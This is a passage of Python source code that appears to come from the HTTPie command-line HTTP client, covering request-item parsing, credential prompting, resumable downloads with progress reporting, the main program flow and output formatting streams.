                # Infer the method
                has_data = (
                    (not self.args.ignore_stdin and
                     not self.env.stdin_isatty) or
                    any(item.sep in SEP_GROUP_DATA_ITEMS
                        for item in self.args.items)
                )
                self.args.method = HTTP_POST if has_data else HTTP_GET

    def _parse_items(self):
        """Parse `args.items` into `args.headers`, `args.data`, `args.params`,
         and `args.files`.

        """
        try:
            items = parse_items(
                items=self.args.items,
                data_class=ParamsDict if self.args.form else OrderedDict
            )
        except ParseError as e:
            if self.args.traceback:
                raise
            self.error(e.args[0])
        else:
            self.args.headers = items.headers
            self.args.data = items.data
            self.args.files = items.files
            self.args.params = items.params

        if self.args.files and not self.args.form:
            # `http url @/path/to/file`
            file_fields = list(self.args.files.keys())
            if file_fields != ['']:
                self.error(
                    'Invalid file fields (perhaps you meant --form?): %s'
                    % ','.join(file_fields))

            fn, fd, ct = self.args.files['']
            self.args.files = {}

            self._body_from_file(fd)

            if 'Content-Type' not in self.args.headers:
                content_type = get_content_type(fn)
                if content_type:
                    self.args.headers['Content-Type'] = content_type

    def _process_output_options(self):
        """Apply defaults to output options, or validate the provided ones.

        The default output options are stdout-type-sensitive.

        """
        def check_options(value, option):
            unknown = set(value) - OUTPUT_OPTIONS
            if unknown:
                self.error('Unknown output options: {0}={1}'.format(
                    option,
                    ','.join(unknown)
                ))

        if self.args.verbose:
            self.args.all = True

        if self.args.output_options is None:
            if self.args.verbose:
                self.args.output_options = ''.join(OUTPUT_OPTIONS)
            else:
                self.args.output_options = (
                    OUTPUT_OPTIONS_DEFAULT
                    if self.env.stdout_isatty
                    else OUTPUT_OPTIONS_DEFAULT_STDOUT_REDIRECTED
                )

        if self.args.output_options_history is None:
            self.args.output_options_history = self.args.output_options

        check_options(self.args.output_options, '--print')
        check_options(self.args.output_options_history, '--history-print')

        if self.args.download and OUT_RESP_BODY in self.args.output_options:
            # Response body is always downloaded with --download and it goes
            # through a different routine, so we remove it.
            self.args.output_options = str(
                set(self.args.output_options) - set(OUT_RESP_BODY))

    def _process_pretty_options(self):
        if self.args.prettify == PRETTY_STDOUT_TTY_ONLY:
            self.args.prettify = PRETTY_MAP[
                'all' if self.env.stdout_isatty else 'none']
        elif (self.args.prettify and self.env.is_windows and
              self.args.output_file):
            self.error('Only terminal output can be colorized on Windows.')
        else:
            # noinspection PyTypeChecker
            self.args.prettify = PRETTY_MAP[self.args.prettify]

    def _validate_download_options(self):
        if not self.args.download:
            if self.args.download_resume:
                self.error('--continue only works with --download')
        if self.args.download_resume and not (
                self.args.download and self.args.output_file):
            self.error('--continue requires --output to be specified')


class ParseError(Exception):
    pass


class KeyValue(object):
    """Base key-value pair parsed from CLI."""

    def __init__(self, key, value, sep, orig):
        self.key = key
        self.value = value
        self.sep = sep
        self.orig = orig

    def __eq__(self, other):
        return self.__dict__ == other.__dict__

    def __repr__(self):
        return repr(self.__dict__)


class SessionNameValidator(object):

    def __init__(self, error_message):
        self.error_message = error_message

    def __call__(self, value):
        # Session name can be a path or just a name.
        if (os.path.sep not in value and
                not VALID_SESSION_NAME_PATTERN.search(value)):
            raise ArgumentError(None, self.error_message)
        return value


class KeyValueArgType(object):
    """A key-value pair argument type used with `argparse`.

    Parses a key-value arg and constructs a `KeyValue` instance.
    Used for headers, form data, and other key-value pair types.

    """

    key_value_class = KeyValue

    def __init__(self, *separators):
        self.separators = separators
        self.special_characters = set('\\')
        for separator in separators:
            self.special_characters.update(separator)

    def __call__(self, string):
        """Parse `string` and return `self.key_value_class()` instance.

        The best of `self.separators` is determined (first found, longest).
        Back slash escaped characters aren't considered as separators
        (or parts thereof). Literal back slash characters have to be escaped
        as well (r'\\').

        """

        class Escaped(str):
            """Represents an escaped character."""

        def tokenize(string):
            """Tokenize `string`. There are only two token types - strings
            and escaped characters:

            tokenize(r'foo\=bar\\baz')
            => ['foo', Escaped('='), 'bar', Escaped('\\'), 'baz']

            """
            tokens = ['']
            characters = iter(string)
            for char in characters:
                if char == '\\':
                    char = next(characters, '')
                    if char not in self.special_characters:
                        tokens[-1] += '\\' + char
                    else:
                        tokens.extend([Escaped(char), ''])
                else:
                    tokens[-1] += char
            return tokens

        tokens = tokenize(string)

        # Sorting by length ensures that the longest one will be
        # chosen as it will overwrite any shorter ones starting
        # at the same position in the `found` dictionary.
        separators = sorted(self.separators, key=len)

        for i, token in enumerate(tokens):

            if isinstance(token, Escaped):
                continue

            found = {}
            for sep in separators:
                pos = token.find(sep)
                if pos != -1:
                    found[pos] = sep

            if found:
                # Starting first, longest separator found.
                sep = found[min(found.keys())]

                key, value = token.split(sep, 1)

                # Any preceding tokens are part of the key.
                key = ''.join(tokens[:i]) + key

                # Any following tokens are part of the value.
                value += ''.join(tokens[i + 1:])

                break

        else:
            raise ArgumentTypeError(
                u'"%s" is not a valid value' % string)

        return self.key_value_class(
            key=key, value=value, sep=sep, orig=string)


class AuthCredentials(KeyValue):
    """Represents parsed credentials."""

    def _getpass(self, prompt):
        # To allow mocking.
        return getpass.getpass(str(prompt))

    def has_password(self):
        return self.value is not None

    def prompt_password(self, host):
        try:
            self.value = self._getpass(
                'http: password for %s@%s: ' % (self.key, host))
        except (EOFError, KeyboardInterrupt):
            sys.stderr.write('\n')
            sys.exit(0)


class AuthCredentialsArgType(KeyValueArgType):
    """A key-value arg type that parses credentials."""

    key_value_class = AuthCredentials

    def __call__(self, string):
        """Parse credentials from `string`.

        ("username" or "username:password").

        """
        try:
            return super(AuthCredentialsArgType, self).__call__(string)
        except ArgumentTypeError:
            # No password provided, will prompt for it later.
            return self.key_value_class(
                key=string,
                value=None,
                sep=SEP_CREDENTIALS,
                orig=string
            )


class RequestItemsDict(OrderedDict):
    """Multi-value dict for URL parameters and form data."""

    if is_pypy and is_py27:
        # Manually set keys when initialized with an iterable as PyPy
        # doesn't call __setitem__ in such case (pypy3 does).
        def __init__(self, *args, **kwargs):
            if len(args) == 1 and isinstance(args[0], Iterable):
                super(RequestItemsDict, self).__init__(**kwargs)
                for k, v in args[0]:
                    self[k] = v
            else:
                super(RequestItemsDict, self).__init__(*args, **kwargs)

    # noinspection PyMethodOverriding
    def __setitem__(self, key, value):
        """ If `key` is assigned more than once, `self[key]` holds a
        `list` of all the values.

        This allows having multiple fields with the same name in form
        data and URL params.

        """
        assert not isinstance(value, list)
        if key not in self:
            super(RequestItemsDict, self).__setitem__(key, value)
        else:
            if not isinstance(self[key], list):
                super(RequestItemsDict, self).__setitem__(key, [self[key]])
            self[key].append(value)


class ParamsDict(RequestItemsDict):
    pass


class DataDict(RequestItemsDict):

    def items(self):
        for key, values in super(RequestItemsDict, self).items():
            if not isinstance(values, list):
                values = [values]
            for value in values:
                yield key, value


RequestItems = namedtuple('RequestItems',
                          ['headers', 'data', 'files', 'params'])


def get_content_type(filename):
    """
    Return the content type for ``filename`` in format appropriate
    for Content-Type headers, or ``None`` if the file type is unknown
    to ``mimetypes``.

    """
    mime, encoding = mimetypes.guess_type(filename, strict=False)
    if mime:
        content_type = mime
        if encoding:
            content_type = '%s; charset=%s' % (mime, encoding)
        return content_type


def parse_items(items,
                headers_class=CaseInsensitiveDict,
                data_class=OrderedDict,
                files_class=DataDict,
                params_class=ParamsDict):
    """Parse `KeyValue` `items` into `data`, `headers`, `files`,
    and `params`.

    """
    headers = []
    data = []
    files = []
    params = []
    for item in items:
        value = item.value
        if item.sep == SEP_HEADERS:
            if value == '':
                # No value => unset the header
                value = None
            target = headers
        elif item.sep == SEP_HEADERS_EMPTY:
            if item.value:
                raise ParseError(
                    'Invalid item "%s" '
                    '(to specify an empty header use `Header;`)'
                    % item.orig
                )
            target = headers
        elif item.sep == SEP_QUERY:
            target = params
        elif item.sep == SEP_FILES:
            try:
                with open(os.path.expanduser(value), 'rb') as f:
                    value = (os.path.basename(value),
                             BytesIO(f.read()),
                             get_content_type(value))
            except IOError as e:
                raise ParseError('"%s": %s' % (item.orig, e))
            target = files

        elif item.sep in SEP_GROUP_DATA_ITEMS:

            if item.sep in SEP_GROUP_DATA_EMBED_ITEMS:
                try:
                    with open(os.path.expanduser(value), 'rb') as f:
                        value = f.read().decode('utf8')
                except IOError as e:
                    raise ParseError('"%s": %s' % (item.orig, e))
                except UnicodeDecodeError:
                    raise ParseError(
                        '"%s": cannot embed the content of "%s",'
                        ' not a UTF8 or ASCII-encoded text file'
                        % (item.orig, item.value)
                    )

            if item.sep in SEP_GROUP_RAW_JSON_ITEMS:
                try:
                    value = load_json_preserve_order(value)
                except ValueError as e:
                    raise ParseError('"%s": %s' % (item.orig, e))
            target = data

        else:
            raise TypeError(item)

        target.append((item.key, value))

    return RequestItems(headers_class(headers),
                        data_class(data),
                        files_class(files),
                        params_class(params))


def readable_file_arg(filename):
    try:
        open(filename, 'rb')
    except IOError as ex:
        raise ArgumentTypeError('%s: %s' % (filename, ex.args[1]))
    return filename






# coding=utf-8
"""
Download mode implementation.

"""
from __future__ import division
import os
import re
import sys
import errno
import mimetypes
import threading
from time import sleep, time
from mailbox import Message

from httpie.output.streams import RawStream
from httpie.models import HTTPResponse
from httpie.utils import humanize_bytes
from httpie.compat import urlsplit


PARTIAL_CONTENT = 206


CLEAR_LINE = '\r\033[K'
PROGRESS = (
    '{percentage: 6.2f} %'
    ' {downloaded: >10}'
    ' {speed: >10}/s'
    ' {eta: >8} ETA'
)
PROGRESS_NO_CONTENT_LENGTH = '{downloaded: >10} {speed: >10}/s'
SUMMARY = 'Done. {downloaded} in {time:0.5f}s ({speed}/s)\n'
SPINNER = '|/-\\'


class ContentRangeError(ValueError):
    pass


def parse_content_range(content_range, resumed_from):
    """
    Parse and validate Content-Range header.

    <http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html>

    :param content_range: the value of a Content-Range response header
                          eg. "bytes 21010-47021/47022"
    :param resumed_from: first byte pos. from the Range request header
    :return: total size of the response body when fully downloaded.

    """
    if content_range is None:
        raise ContentRangeError('Missing Content-Range')

    pattern = (
        '^bytes (?P<first_byte_pos>\d+)-(?P<last_byte_pos>\d+)'
        '/(\*|(?P<instance_length>\d+))$'
    )
    match = re.match(pattern, content_range)

    if not match:
        raise ContentRangeError(
            'Invalid Content-Range format %r' % content_range)

    content_range_dict = match.groupdict()
    first_byte_pos = int(content_range_dict['first_byte_pos'])
    last_byte_pos = int(content_range_dict['last_byte_pos'])
    instance_length = (
        int(content_range_dict['instance_length'])
        if content_range_dict['instance_length']
        else None
    )

    # "A byte-content-range-spec with a byte-range-resp-spec whose
    # last- byte-pos value is less than its first-byte-pos value,
    # or whose instance-length value is less than or equal to its
    # last-byte-pos value, is invalid. The recipient of an invalid
    # byte-content-range- spec MUST ignore it and any content
    # transferred along with it."
    if (first_byte_pos >= last_byte_pos or
            (instance_length is not None and
             instance_length <= last_byte_pos)):
        raise ContentRangeError(
            'Invalid Content-Range returned: %r' % content_range)

    if (first_byte_pos != resumed_from or
            (instance_length is not None and
             last_byte_pos + 1 != instance_length)):
        # Not what we asked for.
        raise ContentRangeError(
            'Unexpected Content-Range returned (%r)'
            ' for the requested Range ("bytes=%d-")'
            % (content_range, resumed_from)
        )

    return last_byte_pos + 1


def filename_from_content_disposition(content_disposition):
    """
    Extract and validate filename from a Content-Disposition header.

    :param content_disposition: Content-Disposition value
    :return: the filename if present and valid, otherwise `None`

    """
    # attachment; filename=jkbrzt-httpie-0.4.1-20-g40bd8f6.tar.gz

    msg = Message('Content-Disposition: %s' % content_disposition)
    filename = msg.get_filename()
    if filename:
        # Basic sanitation.
        filename = os.path.basename(filename).lstrip('.').strip()
        if filename:
            return filename


def filename_from_url(url, content_type):
    fn = urlsplit(url).path.rstrip('/')
    fn = os.path.basename(fn) if fn else 'index'
    if '.' not in fn and content_type:
        content_type = content_type.split(';')[0]
        if content_type == 'text/plain':
            # mimetypes returns '.ksh'
            ext = '.txt'
        else:
            ext = mimetypes.guess_extension(content_type)

        if ext == '.htm':  # Python 3
            ext = '.html'

        if ext:
            fn += ext

    return fn


def trim_filename(filename, max_len):
    if len(filename) > max_len:
        trim_by = len(filename) - max_len
        name, ext = os.path.splitext(filename)
        if trim_by >= len(name):
            filename = filename[:-trim_by]
        else:
            filename = name[:-trim_by] + ext
    return filename


def get_filename_max_length(directory):
    max_len = 255
    try:
        pathconf = os.pathconf
    except AttributeError:
        pass  # non-posix
    else:
        try:
            max_len = pathconf(directory, 'PC_NAME_MAX')
        except OSError as e:
            if e.errno != errno.EINVAL:
                raise
    return max_len


def trim_filename_if_needed(filename, directory='.', extra=0):
    max_len = get_filename_max_length(directory) - extra
    if len(filename) > max_len:
        filename = trim_filename(filename, max_len)
    return filename


def get_unique_filename(filename, exists=os.path.exists):
    attempt = 0
    while True:
        suffix = '-' + str(attempt) if attempt > 0 else ''
        try_filename = trim_filename_if_needed(filename, extra=len(suffix))
        try_filename += suffix
        if not exists(try_filename):
            return try_filename
        attempt += 1


class Downloader(object):

    def __init__(self, output_file=None,
                 resume=False, progress_file=sys.stderr):
        """
        :param resume: Should the download resume if partial download
                       already exists.
        :type resume: bool

        :param output_file: The file to store response body in. If not
                            provided, it will be guessed from the response.

        :param progress_file: Where to report download progress.

        """
        self._output_file = output_file
        self._resume = resume
        self._resumed_from = 0
        self.finished = False

        self.status = Status()
        self._progress_reporter = ProgressReporterThread(
            status=self.status,
            output=progress_file
        )

    def pre_request(self, request_headers):
        """Called just before the HTTP request is sent.

        Might alter `request_headers`.

        :type request_headers: dict

        """
        # Ask the server not to encode the content so that we can resume, etc.
        request_headers['Accept-Encoding'] = 'identity'
        if self._resume:
            bytes_have = os.path.getsize(self._output_file.name)
            if bytes_have:
                # Set ``Range`` header to resume the download
                # TODO: Use "If-Range: mtime" to make sure it's fresh?
                request_headers['Range'] = 'bytes=%d-' % bytes_have
                self._resumed_from = bytes_have

    def start(self, response):
        """
        Initiate and return a stream for `response` body  with progress
        callback attached. Can be called only once.

        :param response: Initiated response object with headers already fetched
        :type response: requests.models.Response

        :return: RawStream, output_file

        """
        assert not self.status.time_started

        # FIXME: some servers still might sent Content-Encoding: gzip
        # <https://github.com/jkbrzt/httpie/issues/423>
        try:
            total_size = int(response.headers['Content-Length'])
        except (KeyError, ValueError, TypeError):
            total_size = None

        if self._output_file:
            if self._resume and response.status_code == PARTIAL_CONTENT:
                total_size = parse_content_range(
                    response.headers.get('Content-Range'),
                    self._resumed_from
                )

            else:
                self._resumed_from = 0
                try:
                    self._output_file.seek(0)
                    self._output_file.truncate()
                except IOError:
                    pass  # stdout
        else:
            # TODO: Should the filename be taken from response.history[0].url?
            # Output file not specified. Pick a name that doesn't exist yet.
            filename = None
            if 'Content-Disposition' in response.headers:
                filename = filename_from_content_disposition(
                    response.headers['Content-Disposition'])
            if not filename:
                filename = filename_from_url(
                    url=response.url,
                    content_type=response.headers.get('Content-Type'),
                )
            self._output_file = open(get_unique_filename(filename), mode='a+b')

        self.status.started(
            resumed_from=self._resumed_from,
            total_size=total_size
        )

        stream = RawStream(
            msg=HTTPResponse(response),
            with_headers=False,
            with_body=True,
            on_body_chunk_downloaded=self.chunk_downloaded,
            chunk_size=1024 * 8
        )

        self._progress_reporter.output.write(
            'Downloading %sto "%s"\n' % (
                (humanize_bytes(total_size) + ' '
                 if total_size is not None
                 else ''),
                self._output_file.name
            )
        )
        self._progress_reporter.start()

        return stream, self._output_file

    def finish(self):
        assert not self.finished
        self.finished = True
        self.status.finished()

    def failed(self):
        self._progress_reporter.stop()

    @property
    def interrupted(self):
        return (
            self.finished and
            self.status.total_size and
            self.status.total_size != self.status.downloaded
        )

    def chunk_downloaded(self, chunk):
        """
        A download progress callback.

        :param chunk: A chunk of response body data that has just
                      been downloaded and written to the output.
        :type chunk: bytes

        """
        self.status.chunk_downloaded(len(chunk))


class Status(object):
    """Holds details about the downland status."""

    def __init__(self):
        self.downloaded = 0
        self.total_size = None
        self.resumed_from = 0
        self.time_started = None
        self.time_finished = None

    def started(self, resumed_from=0, total_size=None):
        assert self.time_started is None
        self.total_size = total_size
        self.downloaded = self.resumed_from = resumed_from
        self.time_started = time()

    def chunk_downloaded(self, size):
        assert self.time_finished is None
        self.downloaded += size

    @property
    def has_finished(self):
        return self.time_finished is not None

    def finished(self):
        assert self.time_started is not None
        assert self.time_finished is None
        self.time_finished = time()


class ProgressReporterThread(threading.Thread):
    """
    Reports download progress based on its status.

    Uses threading to periodically update the status (speed, ETA, etc.).

    """
    def __init__(self, status, output, tick=.1, update_interval=1):
        """

        :type status: Status
        :type output: file
        """
        super(ProgressReporterThread, self).__init__()
        self.status = status
        self.output = output
        self._tick = tick
        self._update_interval = update_interval
        self._spinner_pos = 0
        self._status_line = ''
        self._prev_bytes = 0
        self._prev_time = time()
        self._should_stop = threading.Event()

    def stop(self):
        """Stop reporting on next tick."""
        self._should_stop.set()

    def run(self):
        while not self._should_stop.is_set():
            if self.status.has_finished:
                self.sum_up()
                break

            self.report_speed()
            sleep(self._tick)

    def report_speed(self):

        now = time()

        if now - self._prev_time >= self._update_interval:
            downloaded = self.status.downloaded
            try:
                speed = ((downloaded - self._prev_bytes) /
                         (now - self._prev_time))
            except ZeroDivisionError:
                speed = 0

            if not self.status.total_size:
                self._status_line = PROGRESS_NO_CONTENT_LENGTH.format(
                    downloaded=humanize_bytes(downloaded),
                    speed=humanize_bytes(speed),
                )
            else:
                try:
                    percentage = downloaded / self.status.total_size * 100
                except ZeroDivisionError:
                    percentage = 0

                if not speed:
                    eta = '-:--:--'
                else:
                    s = int((self.status.total_size - downloaded) / speed)
                    h, s = divmod(s, 60 * 60)
                    m, s = divmod(s, 60)
                    eta = '{0}:{1:0>2}:{2:0>2}'.format(h, m, s)

                self._status_line = PROGRESS.format(
                    percentage=percentage,
                    downloaded=humanize_bytes(downloaded),
                    speed=humanize_bytes(speed),
                    eta=eta,
                )

            self._prev_time = now
            self._prev_bytes = downloaded

        self.output.write(
            CLEAR_LINE +
            ' ' +
            SPINNER[self._spinner_pos] +
            ' ' +
            self._status_line
        )
        self.output.flush()

        self._spinner_pos = (self._spinner_pos + 1
                             if self._spinner_pos + 1 != len(SPINNER)
                             else 0)

    def sum_up(self):
        actually_downloaded = (
            self.status.downloaded - self.status.resumed_from)
        time_taken = self.status.time_finished - self.status.time_started

        self.output.write(CLEAR_LINE)

        try:
            speed = actually_downloaded / time_taken
        except ZeroDivisionError:
            # Either time is 0 (not all systems provide `time.time`
            # with a better precision than 1 second), and/or nothing
            # has been downloaded.
            speed = actually_downloaded

        self.output.write(SUMMARY.format(
            downloaded=humanize_bytes(actually_downloaded),
            total=(self.status.total_size and
                   humanize_bytes(self.status.total_size)),
            speed=humanize_bytes(speed),
            time=time_taken,
        ))
        self.output.flush()






from __future__ import division
import json

from httpie.compat import is_py26, OrderedDict


def load_json_preserve_order(s):
    if is_py26:
        return json.loads(s)
    return json.loads(s, object_pairs_hook=OrderedDict)


def repr_dict_nice(d):
    def prepare_dict(d):
        for k, v in d.items():
            if isinstance(v, dict):
                v = dict(prepare_dict(v))
            elif isinstance(v, bytes):
                v = v.decode('utf8')
            elif not isinstance(v, (int, str)):
                v = repr(v)
            yield k, v
    return json.dumps(
        dict(prepare_dict(d)),
        indent=4, sort_keys=True,
    )


def humanize_bytes(n, precision=2):
    # Author: Doug Latornell
    # Licence: MIT
    # URL: http://code.activestate.com/recipes/577081/
    """Return a humanized string representation of a number of bytes.

    Assumes `from __future__ import division`.

    >>> humanize_bytes(1)
    '1 B'
    >>> humanize_bytes(1024, precision=1)
    '1.0 kB'
    >>> humanize_bytes(1024 * 123, precision=1)
    '123.0 kB'
    >>> humanize_bytes(1024 * 12342, precision=1)
    '12.1 MB'
    >>> humanize_bytes(1024 * 12342, precision=2)
    '12.05 MB'
    >>> humanize_bytes(1024 * 1234, precision=2)
    '1.21 MB'
    >>> humanize_bytes(1024 * 1234 * 1111, precision=2)
    '1.31 GB'
    >>> humanize_bytes(1024 * 1234 * 1111, precision=1)
    '1.3 GB'

    """
    abbrevs = [
        (1 << 50, 'PB'),
        (1 << 40, 'TB'),
        (1 << 30, 'GB'),
        (1 << 20, 'MB'),
        (1 << 10, 'kB'),
        (1, 'B')
    ]

    if n == 1:
        return '1 B'

    for factor, suffix in abbrevs:
        if n >= factor:
            break

    # noinspection PyUnboundLocalVariable
    return '%.*f %s' % (precision, n / factor, suffix)






"""This module provides the main functionality of HTTPie.

Invocation flow:

  1. Read, validate and process the input (args, `stdin`).
  2. Create and send a request.
  3. Stream, and possibly process and format, the parts
     of the request-response exchange selected by output options.
  4. Simultaneously write to `stdout`
  5. Exit.

"""
import sys
import errno
import platform

import requests
from requests import __version__ as requests_version
from pygments import __version__ as pygments_version

from httpie import __version__ as httpie_version, ExitStatus
from httpie.compat import str, bytes, is_py3
from httpie.client import get_response
from httpie.downloads import Downloader
from httpie.context import Environment
from httpie.plugins import plugin_manager
from httpie.output.streams import (
    build_output_stream,
    write_stream,
    write_stream_with_colors_win_py3
)


def get_exit_status(http_status, follow=False):
    """Translate HTTP status code to exit status code."""
    if 300 <= http_status <= 399 and not follow:
        # Redirect
        return ExitStatus.ERROR_HTTP_3XX
    elif 400 <= http_status <= 499:
        # Client Error
        return ExitStatus.ERROR_HTTP_4XX
    elif 500 <= http_status <= 599:
        # Server Error
        return ExitStatus.ERROR_HTTP_5XX
    else:
        return ExitStatus.OK


def print_debug_info(env):
    env.stderr.writelines([
        'HTTPie %s\n' % httpie_version,
        'Requests %s\n' % requests_version,
        'Pygments %s\n' % pygments_version,
        'Python %s\n%s\n' % (sys.version, sys.executable),
        '%s %s' % (platform.system(), platform.release()),
    ])
    env.stderr.write('\n\n')
    env.stderr.write(repr(env))
    env.stderr.write('\n')


def decode_args(args, stdin_encoding):
    """
    Convert all bytes ags to str
    by decoding them using stdin encoding.

    """
    return [
        arg.decode(stdin_encoding)
        if type(arg) == bytes else arg
        for arg in args
    ]


def program(args, env, log_error):
    """
    The main program without error handling

    :param args: parsed args (argparse.Namespace)
    :type env: Environment
    :param log_error: error log function
    :return: status code

    """
    exit_status = ExitStatus.OK
    downloader = None
    show_traceback = args.debug or args.traceback

    try:
        if args.download:
            args.follow = True  # --download implies --follow.
            downloader = Downloader(
                output_file=args.output_file,
                progress_file=env.stderr,
                resume=args.download_resume
            )
            downloader.pre_request(args.headers)

        final_response = get_response(args, config_dir=env.config.directory)
        if args.all:
            responses = final_response.history + [final_response]
        else:
            responses = [final_response]

        for response in responses:

            if args.check_status or downloader:
                exit_status = get_exit_status(
                    http_status=response.status_code,
                    follow=args.follow
                )
                if not env.stdout_isatty and exit_status != ExitStatus.OK:
                    log_error(
                        'HTTP %s %s', response.raw.status, response.raw.reason,
                        level='warning'
                    )

            write_stream_kwargs = {
                'stream': build_output_stream(
                    args=args,
                    env=env,
                    request=response.request,
                    response=response,
                    output_options=(
                        args.output_options
                        if response is final_response
                        else args.output_options_history
                    )
                ),
                # NOTE: `env.stdout` will in fact be `stderr` with `--download`
                'outfile': env.stdout,
                'flush': env.stdout_isatty or args.stream
            }
            try:
                if env.is_windows and is_py3 and 'colors' in args.prettify:
                    write_stream_with_colors_win_py3(**write_stream_kwargs)
                else:
                    write_stream(**write_stream_kwargs)
            except IOError as e:
                if not show_traceback and e.errno == errno.EPIPE:
                    # Ignore broken pipes unless --traceback.
                    env.stderr.write('\n')
                else:
                    raise

        if downloader and exit_status == ExitStatus.OK:
            # Last response body download.
            download_stream, download_to = downloader.start(final_response)
            write_stream(
                stream=download_stream,
                outfile=download_to,
                flush=False,
            )
            downloader.finish()
            if downloader.interrupted:
                exit_status = ExitStatus.ERROR
                log_error('Incomplete download: size=%d; downloaded=%d' % (
                    downloader.status.total_size,
                    downloader.status.downloaded
                ))
        return exit_status

    finally:
        if downloader and not downloader.finished:
            downloader.failed()

        if (not isinstance(args, list) and args.output_file and
                args.output_file_specified):
            args.output_file.close()


def main(args=sys.argv[1:], env=Environment(), custom_log_error=None):
    """
    The main function.

    Pre-process args, handle some special types of invocations,
    and run the main program with error handling.

    Return exit status code.

    """
    args = decode_args(args, env.stdin_encoding)
    plugin_manager.load_installed_plugins()

    def log_error(msg, *args, **kwargs):
        msg = msg % args
        level = kwargs.get('level', 'error')
        assert level in ['error', 'warning']
        env.stderr.write('\nhttp: %s: %s\n' % (level, msg))

    from httpie.cli import parser

    if env.config.default_options:
        args = env.config.default_options + args

    if custom_log_error:
        log_error = custom_log_error

    include_debug_info = '--debug' in args
    include_traceback = include_debug_info or '--traceback' in args

    if include_debug_info:
        print_debug_info(env)
        if args == ['--debug']:
            return ExitStatus.OK

    exit_status = ExitStatus.OK

    try:
        parsed_args = parser.parse_args(args=args, env=env)
    except KeyboardInterrupt:
        env.stderr.write('\n')
        if include_traceback:
            raise
        exit_status = ExitStatus.ERROR
    except SystemExit as e:
        if e.code != ExitStatus.OK:
            env.stderr.write('\n')
            if include_traceback:
                raise
            exit_status = ExitStatus.ERROR
    else:
        try:
            exit_status = program(
                args=parsed_args,
                env=env,
                log_error=log_error,
            )
        except KeyboardInterrupt:
            env.stderr.write('\n')
            if include_traceback:
                raise
            exit_status = ExitStatus.ERROR
        except SystemExit as e:
            if e.code != ExitStatus.OK:
                env.stderr.write('\n')
                if include_traceback:
                    raise
                exit_status = ExitStatus.ERROR
        except requests.Timeout:
            exit_status = ExitStatus.ERROR_TIMEOUT
            log_error('Request timed out (%ss).', parsed_args.timeout)
        except requests.TooManyRedirects:
            exit_status = ExitStatus.ERROR_TOO_MANY_REDIRECTS
            log_error('Too many redirects (--max-redirects=%s).',
                      parsed_args.max_redirects)
        except Exception as e:
            # TODO: Further distinction between expected and unexpected errors.
            msg = str(e)
            if hasattr(e, 'request'):
                request = e.request
                if hasattr(request, 'url'):
                    msg += ' while doing %s request to URL: %s' % (
                        request.method, request.url)
            log_error('%s: %s', type(e).__name__, msg)
            if include_traceback:
                raise
            exit_status = ExitStatus.ERROR

    return exit_status












import re

from httpie.plugins import plugin_manager
from httpie.context import Environment


MIME_RE = re.compile(r'^[^/]+/[^/]+$')


def is_valid_mime(mime):
    return mime and MIME_RE.match(mime)


class Conversion(object):

    def get_converter(self, mime):
        if is_valid_mime(mime):
            for converter_class in plugin_manager.get_converters():
                if converter_class.supports(mime):
                    return converter_class(mime)


class Formatting(object):
    """A delegate class that invokes the actual processors."""

    def __init__(self, groups, env=Environment(), **kwargs):
        """
        :param groups: names of processor groups to be applied
        :param env: Environment
        :param kwargs: additional keyword arguments for processors

        """
        available_plugins = plugin_manager.get_formatters_grouped()
        self.enabled_plugins = []
        for group in groups:
            for cls in available_plugins[group]:
                p = cls(env=env, **kwargs)
                if p.enabled:
                    self.enabled_plugins.append(p)

    def format_headers(self, headers):
        for p in self.enabled_plugins:
            headers = p.format_headers(headers)
        return headers

    def format_body(self, content, mime):
        if is_valid_mime(mime):
            for p in self.enabled_plugins:
                content = p.format_body(content, mime)
        return content






from itertools import chain
from functools import partial

from httpie.compat import str
from httpie.context import Environment
from httpie.models import HTTPRequest, HTTPResponse
from httpie.input import (OUT_REQ_BODY, OUT_REQ_HEAD,
                          OUT_RESP_HEAD, OUT_RESP_BODY)
from httpie.output.processing import Formatting, Conversion


BINARY_SUPPRESSED_NOTICE = (
    b'\n'
    b'+-----------------------------------------+\n'
    b'| NOTE: binary data not shown in terminal |\n'
    b'+-----------------------------------------+'
)


class BinarySuppressedError(Exception):
    """An error indicating that the body is binary and won't be written,
     e.g., for terminal output)."""

    message = BINARY_SUPPRESSED_NOTICE


def write_stream(stream, outfile, flush):
    """Write the output stream."""
    try:
        # Writing bytes so we use the buffer interface (Python 3).
        buf = outfile.buffer
    except AttributeError:
        buf = outfile

    for chunk in stream:
        buf.write(chunk)
        if flush:
            outfile.flush()


def write_stream_with_colors_win_py3(stream, outfile, flush):
    """Like `write`, but colorized chunks are written as text
    directly to `outfile` to ensure it gets processed by colorama.
    Applies only to Windows with Python 3 and colorized terminal output.

    """
    color = b'\x1b['
    encoding = outfile.encoding
    for chunk in stream:
        if color in chunk:
            outfile.write(chunk.decode(encoding))
        else:
            outfile.buffer.write(chunk)
        if flush:
            outfile.flush()


def build_output_stream(args, env, request, response, output_options):
    """Build and return a chain of iterators over the `request`-`response`
    exchange each of which yields `bytes` chunks.

    """
    req_h = OUT_REQ_HEAD in output_options
    req_b = OUT_REQ_BODY in output_options
    resp_h = OUT_RESP_HEAD in output_options
    resp_b = OUT_RESP_BODY in output_options
    req = req_h or req_b
    resp = resp_h or resp_b

    output = []
    Stream = get_stream_type(env, args)

    if req:
        output.append(Stream(
            msg=HTTPRequest(request),
            with_headers=req_h,
            with_body=req_b))

    if req_b and resp:
        # Request/Response separator.
        output.append([b'\n\n'])

    if resp:
        output.append(Stream(
            msg=HTTPResponse(response),
            with_headers=resp_h,
            with_body=resp_b))

    if env.stdout_isatty and resp_b:
        # Ensure a blank line after the response body.
        # For terminal output only.
        output.append([b'\n\n'])

    return chain(*output)


def get_stream_type(env, args):
    """Pick the right stream type based on `env` and `args`.
    Wrap it in a partial with the type-specific args so that
    we don't need to think what stream we are dealing with.

    """
    if not env.stdout_isatty and not args.prettify:
        Stream = partial(
            RawStream,
            chunk_size=RawStream.CHUNK_SIZE_BY_LINE
            if args.stream
            else RawStream.CHUNK_SIZE
        )
    elif args.prettify:
        Stream = partial(
            PrettyStream if args.stream else BufferedPrettyStream,
            env=env,
            conversion=Conversion(),
            formatting=Formatting(
                env=env,
                groups=args.prettify,
                color_scheme=args.style,
                explicit_json=args.json,
            ),
        )
    else:
        Stream = partial(EncodedStream, env=env)

    return Stream


class BaseStream(object):
    """Base HTTP message output stream class."""

    def __init__(self, msg, with_headers=True, with_body=True,
                 on_body_chunk_downloaded=None):
        """
        :param msg: a :class:`models.HTTPMessage` subclass
        :param with_headers: if `True`, headers will be included
        :param with_body: if `True`, body will be included

        """
